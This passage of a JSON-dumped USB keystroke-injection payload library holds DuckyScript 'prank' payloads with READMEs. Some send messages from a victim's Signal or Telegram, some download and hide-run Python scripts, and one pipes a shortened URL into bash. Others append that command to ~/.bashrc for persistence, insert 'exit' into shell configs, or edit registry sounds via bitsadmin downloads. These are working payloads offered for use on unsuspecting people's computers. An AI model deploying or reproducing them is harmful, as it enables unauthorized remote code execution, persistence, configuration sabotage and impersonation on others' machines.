    "content": "REM #########################################\nREM #                                       |\nREM # Title        : Send Signal Messages   |\nREM # Author       : Aleff                  |\nREM # Version      : 1.0                    |\nREM # Category     : Prank, Execution       |\nREM # Target       : Windows 10-11          |\nREM #                                       |\nREM #########################################\n\nREM Requirements:\nREM   - Internet Connection\nREM   - Signal App installed\nREM Payload Plug-And-Play but can be edited as you want the message\n\nREM REQUIRED - Receiver number\nDEFINE NUMBER 3332211000\n\nREM REQUIRED - Message to send\nDEFINE MESSAGE YOUR_MESSAGE\n\nDELAY 1000\nGUI r\nDELAY 500\nSTRING powershell\nENTER\nDELAY 500\nSTRING Stop-Process -Name \"Signal\"\nENTER\nSTRING Start-Process $Env:USERPROFILE\\AppData\\Local\\Programs\\signal-desktop\\Signal.exe; exit\nENTER\nDELAY 5000\nTAB\nTAB\nTAB\nENTER\nDELAY 100\nSTRING NUMBER\nDELAY 100\nTAB\nDELAY 100\nENTER\nDELAY 200\n\nREM This is the message that will be sent.\nREM You can change it as you want, if you want.\nSTRING YOUR_MESSAGE\nENTER\n\nREM Closing Signal App\nDELAY 500\nALT F4\n"
  },
  {
    "path": "payloads/library/prank/SendTelegramMessages_Linux/README.md",
    "content": "# Send Telegram Messages - Linux\n\nA script used to prank your friends sending messages by using Telegram app.\n\n**Category**: Prank\n\n## Description\n\nA script used to prank your friends sending messages by using Telegram app.\n\nOpens a shell, runs the telegram-desktop app, search the user by the id, enter into the chat, write the message(s) and send, then close the app and the shell.\n\n## Getting Started\n\n### Dependencies\n\n* Internet Connection\n* telegram-desktop installed and activated\n\n### Settings\n\n- Telegram username\n- Messages\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/prank/SendTelegramMessages_Linux/payload.txt",
    "content": " \nREM #########################################\nREM #                                       |\nREM # Title        : Send Telegram Messages |\nREM # Author       : Aleff                  |\nREM # Version      : 1.0                    |\nREM # Category     : Prank                  |\nREM # Target       : Linux                  |\nREM #                                       |\nREM #########################################\n\nREM Requirements:\nREM     - Internet Connection\nREM     - telegram-desktop installed and activated\n\nDELAY 1000\nCTRL-ALT t\nDELAY 2000\n\nSTRING telegram-desktop\nENTER\nREM It depends by the computer...\nDELAY 3000\n\nREM Define the message receiver username\nDEFINE USERNAME @example\nSTRING USERNAME\nENTER\nDELAY 500\n\nREM Define the message(s)\nDEFINE MESSAGE1 example\nSTRING MESSAGE1\nENTER\nDELAY 500\nREM other messages here...\nREM ...\nREM ...\n\nREM Closing Telegram App and the Shell\nALT F4\nDELAY 500\nCTRL c\nDELAY 500\nALT F4\n"
  },
  {
    "path": "payloads/library/prank/Set_VSCode_theme_light/README.md",
    "content": "# Set VSCode to light theme - MacOS ✅\n\n Plug-And-Play ❤️\n\nA script that sets the VSCode theme to light to let the nightmare of every developer come true!\n\n **Category**: Execution\n\n ## Description\n\nA script that opens VSCode, goes to the settings, changes the theme and then sneakily closes the settings again.\n\n ## Getting Started\n\n ### Dependencies\n\n * MacOS system\n * VSCode installed\n\n ### Executing program\n\n * Plug in your device\n\n ### Settings\n *None*\n \n\nhttps://user-images.githubusercontent.com/69253692/231779555-bb0e86d1-61ae-4170-809e-0f0723c58445.mov\n"
  },
  {
    "path": "payloads/library/prank/Set_VSCode_theme_light/payload.txt",
    "content": "REM ################################################\nREM #                                              |\nREM # Title        : Setting VSCode theme to light |\nREM # Author       : Kile                          |\nREM # Version      : 1.0                           |\nREM # Category     : Prank                         |\nREM # Target       : MacOS                         |\nREM #                                              |\nREM ################################################\n\nREM DESCRIPTION: Opens VSCode settings and sets it to light mode - beware, eyes may be permanently damaged\n\nATTACKMODE HID VID_05AC PID_021E\nDELAY 500\n\nREM Press the down arrow a lot to select the bottom most theme (which is a light theme)\nFUNCTION DO_DOWNS()\n    VAR $COUNTER = 0\n    WHILE ($COUNTER < 20)\n        DOWN\n        $COUNTER = ($COUNTER + 1)\n    END_WHILE\nEND_FUNCTION\n\nREM Open VSCode\nCOMMAND SPACE\nSTRING Visual Studio Code\nDELAY 200\nENTER\nDELAY 300\n\nREM Open settings\nCOMMAND ,\nDELAY 200\nREM Look for \"theme\"\nSTRING theme\nDELAY 200\nENTER\nDELAY 200\n\nREM Tab to the first result\nTAB\nDELAY 100\nTAB\nDELAY 100\nTAB\nDELAY 100\nTAB\nDELAY 100\nTAB\nDELAY 100\nREM Open the theme dropdown\nENTER\nENTER\nDELAY 200\n\nREM Note: There is also a key combinations to open a theme dropdown, however on that dropdown if you press down at the end it will go back up, so you canot be certain what mode is selected.\n\nREM Select light mode\nDO_DOWNS()\nENTER\n\nDELAY 100\nREM Close the settings window\nCOMMAND w"
  },
  {
    "path": "payloads/library/prank/SoundChangeDuck/README.md",
    "content": "**Title: SoundChangeDuck**\r\n\r\n<p>Author: 0i41E<br>\r\nOS: Windows<br>\r\nVersion: 1.0</p>\r\n\r\n**What is SoundChangeDuck?**\r\n<p>Nothing special... SoundChangeDuck changes the systems sound of device connection.<br>\r\nIn this example it changes the sound from Hardware Insert to Hardware Fail - You can of course decide which sounds you want to change.<br>\r\nAlso feel free to bring your own .wav file to use custom sounds.</p>\r\n"
  },
  {
    "path": "payloads/library/prank/SoundChangeDuck/payload.txt",
    "content": "REM       SoundChangeDuck\r\nREM       Version 1.0\r\nREM       OS: Windows\r\nREM       Author: 0i41E\r\n\r\nREM       Nothing special, something cheap. Changes the sound of device connection from Hardware Insert to Hardware fail.\r\nREM       You can of course decide which system sounds you want to change.\r\nREM       You can also bring your own .wav file to change it to your desired sound.\r\n\r\nDELAY 2000\r\nGUI r\r\nDELAY 200\r\nSTRING cmd.exe /c reg add \"HKEY_CURRENT_USER\\AppEvents\\Schemes\\Apps\\.Default\\DeviceConnect\\.Current\" /t REG_SZ /d \"%SystemRoot%\\media\\Windows Hardware Fail.wav\" /f\r\nDELAY 200\r\nENTER"
  },
  {
    "path": "payloads/library/prank/Talking_Duck/payload.txt",
    "content": "REM Title: Talking_Duck\nREM Author:\tJoustingZebra\nREM Description: Uses .NET SpeechSynthesizer to make the computer talk.\nREM Target:\tWindows NT with .NET Framework 3.0+ with PowerShell \nREM Version:\t1.0\nREM Category:\tPrank\nREM Source: https://github.com/JoustingZebra/usbrubberducky-payloads/blob/master/payloads/library/prank/Talking_Duck/payload.txt\n\nDELAY 1000\nGUI r\nDELAY 100\n\nREM Execute hidden powershell window with no profile, initialize SpeechSynthesizer, and speak.\nREM Uncomment line 15 and comment 16 to change to female voice\nREM STRING powershell.exe -nop -win hidden -c \"Add-Type -AssemblyName System.speech; $synth = New-Object System.Speech.Synthesis.SpeechSynthesizer; $synth.SelectVoice('Microsoft Zira Desktop'); $synth.Speak('Delicate things are not as easy to break as you may think.')\"\nSTRING powershell.exe -nop -win hidden -c \"Add-Type -AssemblyName System.speech; $synth = New-Object System.Speech.Synthesis.SpeechSynthesizer; $synth.Speak('Delicate things are not as easy to break as you may think.')\"\n\nDELAY 100\nENTER\n"
  },
  {
    "path": "payloads/library/prank/TerminalRickRoll/QuackTUX.txt",
    "content": "REM Title: Terminal RickRoll Tux style\nREM Author: FalsePhilosopher\nREM Target:  Unix-like tested on kubuntu 22.04.\nREM Props: Hak5, strippers and memes\nREM Version: 1.0\nREM Category: Prank\nREM Everybody loves a good ole rickroll, now in terminal flavor! Note that if you close the terminal the audio still keeps running till you either kill the process or wait out the whole song. Easily modified to work on osx or WSL/cygwin.\nREM\nDELAY 300\nREM Minimize all windows as that ensures launch happens smoother.\nWINDOWS d\nDELAY 300\nCTRL-ALT t\nDELAY 2000\nF11\nDELAY 200\nSTRING curl -s -L http://bit.ly/10hA8iC | bash\nDELAY 300\nENTER\n"
  },
  {
    "path": "payloads/library/prank/TerminalRickRoll/QuackTUXmean.txt",
    "content": "REM Title: Terminal RickRoll Tux style\nREM Author: FalsePhilosopher\nREM Target:  Unix-like tested on kubuntu 22.04.\nREM Props: Hak5, strippers and memes\nREM Version: 1.0\nREM Category: Prank\nREM Everybody loves a good ole rickroll, now in terminal flavor! Note that if you close the terminal the audio still keeps running till you either kill the process or wait out the whole song. This version launches it every time your friend opens a terminal.\nREM\nDELAY 300\nREM Minimize all windows as that ensures launch happens smoother.\nWINDOWS d\nDELAY 300\nCTRL-ALT t\nDELAY 2000\nSTRING echo \"curl -s -L http://bit.ly/10hA8iC | bash\" >> ~/.bashrc\nDELAY 300\nENTER\nDELAY 500\nALT F4\n"
  },
  {
    "path": "payloads/library/prank/TerminalRickRoll/README.md",
    "content": "# Terminal rick roll\nHere is a link to the repo to the script and it's readme that is launched in this ducky\nhttps://github.com/keroserene/rickrollrc\n\n# rickrollrc\n\nBash script which [rickrolls](http://en.wikipedia.org/wiki/Rickrolling) your\nterminal by playing Rick Astley’s “Never Gonna Give You Up” with ANSI 256-color\ncoded UTF-8 characters + audio (if available).\n\n## How to Roll\nTo start rickrollin’ immediately:\n\n    curl -s -L https://raw.githubusercontent.com/keroserene/rickrollrc/master/roll.sh | bash\n\nHere is the clandestine command you can give to your friends 😈\n\n    curl -s -L http://bit.ly/10hA8iC | bash\n\n![rickroll in xterm](http://i.imgur.com/ZAsQWtP.png)\n![rickroll in mac](http://i.imgur.com/yDLaZna.png)\n\nFor the record: It is not actually a good idea to make a habit of\n\n    curl $(random_script_from_the_internets) | bash\"\n\nNevertheless, for the enhanced experience, I highly recommend the following:\n\n    ./roll.sh inject\n\nWhich essentially just does:\n\n    echo \"curl -s -L http://bit.ly/10hA8iC | bash\" >> ~/.bashrc\n\nFor a salutary lesson in the importance of taking care what you\nexecute in your terminal, inspired by the classic\n[sl](http://www.tkl.iis.u-tokyo.ac.jp/~toyoda/index_e.html), save the\ncommand in a shell script called `suod` somewhere on your `PATH`. It’s\nrecommended to download the script for faster startup, to avoid\nspoiling the surprise when you accidentally execute it for the nth\ntime (and also, unless you really like living dangerously, for\nsecurity, in case we are demonically possessed to replace `roll.sh`\nwith something evil).\n\n## Misc.\n\nThis has been tested on Arch, Debian, Ubuntu, Mac and Cygwin (so far).\nTo enable sound in Cygwin, install the **sox** package.\n\nSince this is a colorful hobby, you need to ensure 256-color mode is enabled or\nAstley will look sad.\n\nFor example, if you use GNU screen, ensure your ~/.screenrc contains something\nlike:\n\n    termcapinfo xterm 'Co#256:AB=\\E[48;5;%dm:AF=\\E[38;5;%dm'\n    defbce \"on\"\n\nKudos to jart for our lovely hiptext shenanigans.\nPlease see our sister project: [hiptext](https://github.com/jart/hiptext), which\ngenerates ANSI color codes for any image or video.\n\n<3,\n\n~serene ([@kiserene](http://twitter.com/kiserene))\n"
  },
  {
    "path": "payloads/library/prank/The_Matrix-Wake_Up/ReadMe.md",
    "content": "This is a simple Ducky Script that recreates the \"Wake up Neo\" or \"Follow the white rabbit\" [terminal scene from The Matrix](https://youtu.be/6IDT3MpSCKI?t=28).\n\n![Short_Example](https://user-images.githubusercontent.com/57457139/165814938-259abe8e-9d9a-4ca9-b40b-f2214b7c3fb4.gif)\n\nBasic Ducky Script, should work on all supported devices. Beeps at the end require Powershell 2.0 or above, everything else is just text in the CMD prompt.\n\nLaunches CMD, changes to green text, makes full screen, types out the scene, then obscures the prompt and beeps (knocks) twice, then exits.\n\nKudos to [Kalani](https://github.com/kalanihelekunihi), [MG](https://github.com/OMG-MG), [I-Am-Jakoby](https://github.com/I-Am-Jakoby), and [Hak5](https://hak5.org/) for help and support!\n"
  },
  {
    "path": "payloads/library/prank/The_Matrix-Wake_Up/payload.txt",
    "content": "REM Title: The Matrix Wake Up\nREM Description: Recreates the Wake Up Neo terminal scene in The Matrix\nREM Author: UberGuidoZ\nREM Target: Windows (including Powershell 2.0 or above)\nREM Version: v1.1\nATTACKMODE HID STORAGE\nDELAY 3000\nGUI r\nDELAY 750\nSTRING cmd\nENTER\nDELAY 750\nSTRING color 02 && ECHO OFF && cls\nENTER\nALT ENTER\nDELAY 1000\nSTRING W\nDELAY 100\nSTRING a\nDELAY 100\nSTRING k\nDELAY 100\nSTRING e\nDELAY 100\nSPACE\nDELAY 100\nSTRING u\nDELAY 100\nSTRING p\nDELAY 100\nSTRING .\nDELAY 100\nSPACE\nDELAY 1000\nSTRING N\nDELAY 250\nSTRING e\nDELAY 250\nSTRING o\nDELAY 250\nSTRING .\nDELAY 250\nSTRING .\nDELAY 250\nSTRING .\nDELAY 3500\nCTRL HOME\nDELAY 1500\nSTRING T\nDELAY 300\nSTRING h\nDELAY 300\nSTRING e\nDELAY 300\nSPACE\nDELAY 300\nSTRING M\nDELAY 300\nSTRING a\nDELAY 300\nSTRING t\nDELAY 300\nSTRING r\nDELAY 300\nSTRING i\nDELAY 300\nSTRING x\nDELAY 300\nSPACE\nDELAY 300\nSTRING h\nDELAY 300\nSTRING a\nDELAY 300\nSTRING s\nDELAY 300\nSPACE\nDELAY 300\nSTRING y\nDELAY 300\nSTRING o\nDELAY 300\nSTRING u\nDELAY 300\nSTRING .\nDELAY 300\nSTRING .\nDELAY 300\nSTRING .\nDELAY 3500\nCTRL HOME\nSTRING F\nDELAY 100\nSTRING o\nDELAY 100\nSTRING l\nDELAY 100\nSTRING l\nDELAY 100\nSTRING o\nDELAY 100\nSTRING w\nDELAY 100\nSPACE\nDELAY 100\nSTRING t\nDELAY 100\nSTRING h\nDELAY 100\nSTRING e\nDELAY 100\nSPACE\nDELAY 100\nSTRING w\nDELAY 100\nSTRING h\nDELAY 100\nSTRING i\nDELAY 100\nSTRING t\nDELAY 100\nSTRING e\nDELAY 100\nSPACE\nDELAY 100\nSTRING r\nDELAY 100\nSTRING a\nDELAY 100\nSTRING b\nDELAY 100\nSTRING b\nDELAY 100\nSTRING i\nDELAY 100\nSTRING t\nDELAY 100\nSTRING .\nDELAY 3500\nCTRL HOME\nDELAY 1500\nSTRING Knock, knock, Neo.\nDELAY 3500\nCTRL HOME\nSTRING COLOR 7F\nENTER\nALT ENTER\nSTRING mode con:cols=18 lines=1\nENTER\nSTRING powershell [console]::beep(200,325); [console]::beep(200,325)\nENTER\nDELAY 1500\nALT F4\n"
  },
  {
    "path": "payloads/library/prank/The_Mouse_Moves_By_Itself/README.md",
    "content": "# The Mouse Moves By Itself\n\nA script used to prank your friends with the mouse pointer.\n\n**Category**: Prank\n\n## Description\n\nA script used to prank your friends with the mouse pointer.\n\nOpens a shell, dowloand the Python script that will prank your friends mouving the mouse pointer.\n\n## Getting Started\n\n### Dependencies\n\n* Internet Connection\n\n### Settings\n\n- Setup your Python script link in the payload.txt file\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/prank/The_Mouse_Moves_By_Itself/payload.txt",
    "content": "REM ############################################\nREM #                                          |\nREM # Title        : The Mouse Moves By Itself |\nREM # Author       : Aleff                     |\nREM # Version      : 1.0                       |\nREM # Category     : Prank                     |\nREM # Target       : Windows 10/11             |\nREM #                                          |\nREM ############################################\n\n\nREM Requirements:\nREM     - Internet Connection\n\n\nREM REQUIRED - Set your Python script link\nDEFINE SCRIPT-PY-LINK example.com\n\n\nDELAY 1000\nGUI r\nDELAY 500\nSTRING powershell\nENTER\nDELAY 500\n\nSTRING Invoke-WebRequest -Uri \"\nSTRING SCRIPT-PY-LINK\nSTRING \" -OutFile \"script.py\"\nENTER\nDELAY 500\n\nSTRINGLN Start-Process python.exe -ArgumentList \"script.py\" -WindowStyle Hidden\nDELAY 1000\nALT F4\n"
  },
  {
    "path": "payloads/library/prank/The_Mouse_Moves_By_Itself/script.py",
    "content": "import os\ntry:\n    import pyautogui\nexcept:\n    os.system(\"pip install pyautogui\")\n    import pyautogui\nimport random\nimport time\n\nwhile True:\n    # Move the mouse cursor randomly\n    x_offset = random.randint(-250, 250)\n    y_offset = random.randint(-250, 250)\n    pyautogui.moveRel(x_offset, y_offset, duration=0.25)\n    time.sleep(0.1)  # 1 second delay\n"
  },
  {
    "path": "payloads/library/prank/This_damn_shell_doesn_t_work___so_sad!/README.md",
    "content": "# This Damn Shell Doesn't Work, SO SAD! :C\n\nThis payload can be used to prank your friends so that when they open their terminal it will close immediately.\n\n**Category**: Prank\n\n![](1.gif)\n\n## Dependencies\n\n* Nothing <3\n\n## Description\n\nThe described payload aims to modify the configuration file of the default shell environment in a Linux system, specifically the `.bashrc` file. This file is executed every time a user opens a terminal or a Bash shell session. By inserting the `exit` command as the first line in the `.bashrc` file, it causes the shell to terminate immediately upon opening, preventing the user from executing any further commands or operations within the shell.\n\nHowever, it's important to note that starting from version 2020.4, Kali Linux has changed its default shell from Bash to Zsh \\[1] for users installing this distribution. Consequently, the main configuration file is no longer `.bashrc` but `.zshrc`. Therefore, if the target is a Kali Linux machine with this version or later, it's necessary to modify the `.zshrc` file instead of `.bashrc`.\n\nTo correctly identify whether the target system is Kali Linux and if it's using Zsh as the default shell, the payload suggests using a variable `#TARGET_KALI_LINUX`, which should be set to `TRUE`. This variable would serve as a placeholder to distinguish between usage on Kali Linux and other Linux systems.\n\nTo restore proper shell operation, it will be necessary to edit via a text editor the `.bashrc` or `.zshrc` file by deleting the first line that consists of the command `exit`.\n\n## Read More\n\n- \\[1] [Kali Linux 2020.4 switches the default shell from Bash to ZSH\n](https://www.bleepingcomputer.com/news/linux/kali-linux-20204-switches-the-default-shell-from-bash-to-zsh/)\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/prank/This_damn_shell_doesn_t_work___so_sad!/payload.txt",
    "content": "REM ############################################################\nREM #                                                          #\nREM # Title        : This damn shell doesn't work, SO SAD! :C  #\nREM # Author       : Aleff                                     #\nREM # Version      : 1.0                                       #\nREM # Category     : Prank                                     #\nREM # Target       : Linux                                     #\nREM #                                                          #\nREM ############################################################\n\nREM Requirements:\nREM     - Nothing <3\nREM With Kali Linux 2020.4, the new default shell is now ZSH for users who install the distribution.\nDEFINE #TARGET_KALI_LINUX TRUE\n\nEXTENSION DETECT_READY\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n\n        TARGETS:\n            Any system that reflects CAPSLOCK will detect minimum required delay\n            Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #RESPONSE_DELAY 25\n    DEFINE #ITERATION_LIMIT 120\n\n    VAR $C = 0\n    WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT))\n        CAPSLOCK\n        DELAY #RESPONSE_DELAY\n        $C = ($C + 1)\n    END_WHILE\n    CAPSLOCK\nEND_EXTENSION\n\nCTRL-ALT t\nDELAY 2000\nSTRINGLN echo \"exit\" > .tmp\nDELAY 500\nIF_DEFINED_TRUE #TARGET_KALI_LINUX\n    STRINGLN cat .zshrc >> .tmp\n    DELAY 500\n    STRINGLN mv .tmp >> .zshrc\nELSE_DEFINED\n    STRINGLN cat .bashrc >> .tmp\n    DELAY 500    \n    STRINGLN mv .tmp >> .bashrc\nEND_IF_DEFINED\nDELAY 500\nALT F4"
  },
  {
    "path": "payloads/library/prank/Try_To_Catch_Me/README.md",
    "content": "# Try To Catch Me\n\nA script used to prank your friends with a script that will create a TryToCatchMe popup uncatchable.\n\n**Category**: Prank\n\n![](example.gif)\n\n## Description\n\nA script used to prank your friends with a script that will create a TryToCatchMe popup uncatchable.\n\nOpen a PowerShell, download the Python script and execute it. The Python script will create the popup through the Tk Popup.\n\n## Getting Started\n\n## Dependencies\n\n* Python\n* Internet Connection\n\n## Settings\n\n- Setup your Python script link\n\n    `DEFINE SCRIPT-PY-LINK example.com`\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>\n"
  },
  {
    "path": "payloads/library/prank/Try_To_Catch_Me/payload.txt",
    "content": "REM ####################################\nREM #                                  |\nREM # Title        : Try To Catch Me   |\nREM # Author       : Aleff             |\nREM # Version      : 1.0               |\nREM # Category     : Prank             |\nREM # Target       : Windows 10/11     |\nREM #                                  |\nREM ####################################\n\n\nREM Requirements:\nREM     - Python\nREM     - Internet Connection\n\nREM REQUIRED - Set your Python script link\nDEFINE #SCRIPT-PY-LINK example.com\n\n\nDELAY 1000\nGUI r\nDELAY 500\nSTRING powershell\nENTER\nDELAY 500\n\nSTRINGLN Invoke-WebRequest -Uri \"#SCRIPT-PY-LINK\" -OutFile \"script.py\"\nDELAY 500\n\nSTRINGLN Start-Process python.exe -ArgumentList \"script.py\" -WindowStyle Hidden\nDELAY 1000\nALT F4\n"
  },
  {
    "path": "payloads/library/prank/Try_To_Catch_Me/script.py",
    "content": "try:\n    import tkinter as tk  # Import the tkinter module as tk for creating GUI\n    import tkinter.ttk as ttk  # Import the ttk module from tkinter for themed widgets\n    import random  # Import the random module for generating random numbers\n    import pyttsx3  # Import the pyttsx3 module for text-to-speech synthesis\nexcept ImportError:\n    import subprocess  # Import the subprocess module for executing system commands\n    import sys  # Import the sys module for system-specific parameters and functions\n\n    def install_package(package):\n        # Function to install a Python package using pip\n        subprocess.check_call([sys.executable, \"-m\", \"pip\", \"install\", package])\n\n    try:\n        import tkinter as tk  # Import tkinter module as tk\n        import tkinter.ttk as ttk  # Import ttk module from tkinter\n        import random  # Import random module\n        import pyttsx3  # Import pyttsx3 module\n    except ImportError:\n        install_package(\"tkinter\")  # Install tkinter package if import fails\n        install_package(\"pyttsx3\")  # Install pyttsx3 package if import fails\n        import tkinter as tk  # Import tkinter module as tk\n        import tkinter.ttk as ttk  # Import ttk module from tkinter\n        import random  # Import random module\n        import pyttsx3  # Import pyttsx3 module\n\n\n# Define a list of strings for popup messages\ntesti = [\"Catch me!\", \"I'm here!\", \"Where are you clicking?\", \"Ooooh, come on!\", \"It's too easy!\"]\n\nmotore = pyttsx3.init()  # Initialize the pyttsx3 engine for text-to-speech synthesis\n\n# Define a class for the popup window\nclass Popup:\n\n    def __init__(self, master):\n        self.master = master  # Assign the master (root) window to the popup window\n        self.popup = tk.Toplevel(master)  # Create a new top-level window\n        self.popup.title(\"Try to catch me!\")  # Set the title of the popup window\n\n        # Set the protocol for handling the window close event\n        self.popup.protocol(\"WM_DELETE_WINDOW\", self.close_popup)\n\n        # Create a label widget for the message in the popup window\n        message_label = ttk.Label(self.popup, text=\"Try to catch me!\", font=(\"Helvetica\", 18, \"bold\"), foreground=\"white\", background=\"black\")\n        message_label.pack(pady=20)  # Add the label to the window and set the padding\n\n        # Create a button widget for closing the popup window\n        self.close_button = ttk.Button(self.popup, text=\"Catch!\", command=self.close_popup)\n        self.close_button.pack(pady=10)  # Add the button to the window and set the padding\n\n        # Create a ttk.Style object for configuring the popup window's appearance\n        self.popup.style = ttk.Style(self.popup)\n        # Configure a custom style for the frame widget in the popup window\n        self.popup.style.configure(\"Popup.TFrame\", background=\"black\")\n        # Configure the style for the button widget in the popup window\n        self.popup.style.configure(\"TButton\", background=\"white\", font=(\"Helvetica\", 14))\n        # Configure the style for the label widget in the popup window\n        self.popup.style.configure(\"TLabel\", foreground=\"white\", background=\"black\", font=(\"Helvetica\", 14))\n\n        # Create a frame widget with the custom style in the popup window\n        self.popup_frame = ttk.Frame(self.popup, style=\"Popup.TFrame\", width=200)\n        self.popup_frame.pack_propagate(0)  # Prevent the frame from resizing\n        self.popup_frame.pack()  # Add the frame to the popup window\n\n        self.x = random.randint(0, master.winfo_screenwidth() - 200)\n        self.y = random.randint(0, master.winfo_screenheight() - 100)\n        # Set the position of the popup window randomly on the screen\n        self.popup.geometry(\"+{}+{}\".format(self.x, self.y))\n\n    def close_popup(self):\n        self.popup.destroy()  # Destroy the popup window\n        Popup(self.master)  # Create a new instance of the Popup class\n\n        rate = motore.getProperty('rate')  # Get the current speech rate\n        motore.setProperty('rate', rate)  # Set the speech rate\n\n        motore.say(testi[random.randint(0, len(testi)-1)])  # Generate a random index and speak a random message from the list\n        motore.runAndWait()  # Run the text-to-speech synthesis engine\n\nroot = tk.Tk()  # Create the root window\nroot.withdraw()  # Hide the root window\n\npopup = Popup(root)  # Create an instance of the Popup class with the root window\n\nroot.mainloop()  # Start the main event loop of the tkinter application\n"
  },
  {
    "path": "payloads/library/prank/USBScream/Payload.txt",
    "content": "REM Title: USBScream\nREM Author: Korben\nREM Description: a payload that replaces the windows device disconnect sound with a scream\nREM              updated and improved to use DuckyScript 3\nREM Target: Windows only -- all other OS will result in ATTACKMODE OFF and RED LED\nREM Category: Prank\n\nREM Adapted from ORIGINAL DuckyScript 1.0 Version:\nREM featured on 'Painful Screaming Payload of DOOM - Hak5 2517'\nREM https://www.youtube.com/watch?v=nuN6PqrnB7Q\nREM https://forums.hak5.org/topic/46078-payload-making-windows-scream-when-you-unplug-devices/\n\nDEFINE #WINDOW_OPEN_DELAY 350\nREM link to hosted .wav file\nDEFINE #WAV_FILE_URL http://example.com\n\nEXTENSION PASSIVE_WINDOWS_DETECT\n    REM VERSION 1.0\n\n    REM Windows fully passive OS Detection and passive Detect Ready\n    REM Includes its own passive detect ready. Does not require\n    REM additional extensions\n\n    REM USAGE:\n    REM Extension runs inline (here)\n    REM Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n    REM boot delay\n    REM $_OS will be set to WINDOWS or NOT_WINDOWS\n\n    REM CONFIGURATION:\n    DEFINE MAX_WAIT 150\n    DEFINE CHECK_INTERVAL 20\n    DEFINE WINDOWS_HOST_REQUEST_COUNT 2\n    DEFINE NOT_WINDOWS 7\n\n    VAR $MAX_TRIES = MAX_WAIT\n    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\n        DELAY CHECK_INTERVAL\n        $MAX_TRIES = ($MAX_TRIES - 1)\n    END_WHILE\n    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > WINDOWS_HOST_REQUEST_COUNT) THEN\n        $_OS = WINDOWS\n    ELSE\n        $_OS = NOT_WINDOWS\n    END_IF\n\n    REM EXAMPLE USAGE AFTER EXTENSION\n    REM IF ($_OS == WINDOWS) THEN\n    REM     STRING HELLO WINDOWS!\n    REM ELSE\n    REM     STRING HELLO WORLD!\n    REM END_IF\nEND_EXTENSION\n\nIF ($_OS == WINDOWS) THEN\n    GUI r\n    DELAY #WINDOW_OPEN_DELAY\n    STRINGLN cmd /C \"start /MIN cmd /C bitsadmin.exe /transfer 'e' #WAV_FILE_URL %USERPROFILE%\\s.wav&&@reg add HKEY_CURRENT_USER\\AppEvents\\Schemes\\Apps\\.Default\\DeviceDisconnect\\.Current\\ /t REG_SZ /d %USERPROFILE%\\s.wav /f\"\n    LED_G\nELSE\n    ATTACKMODE OFF\n    LED_R\nEND_IF\n"
  },
  {
    "path": "payloads/library/prank/Win_PoSH_DesktopDuck/DesktopDuck.ps1",
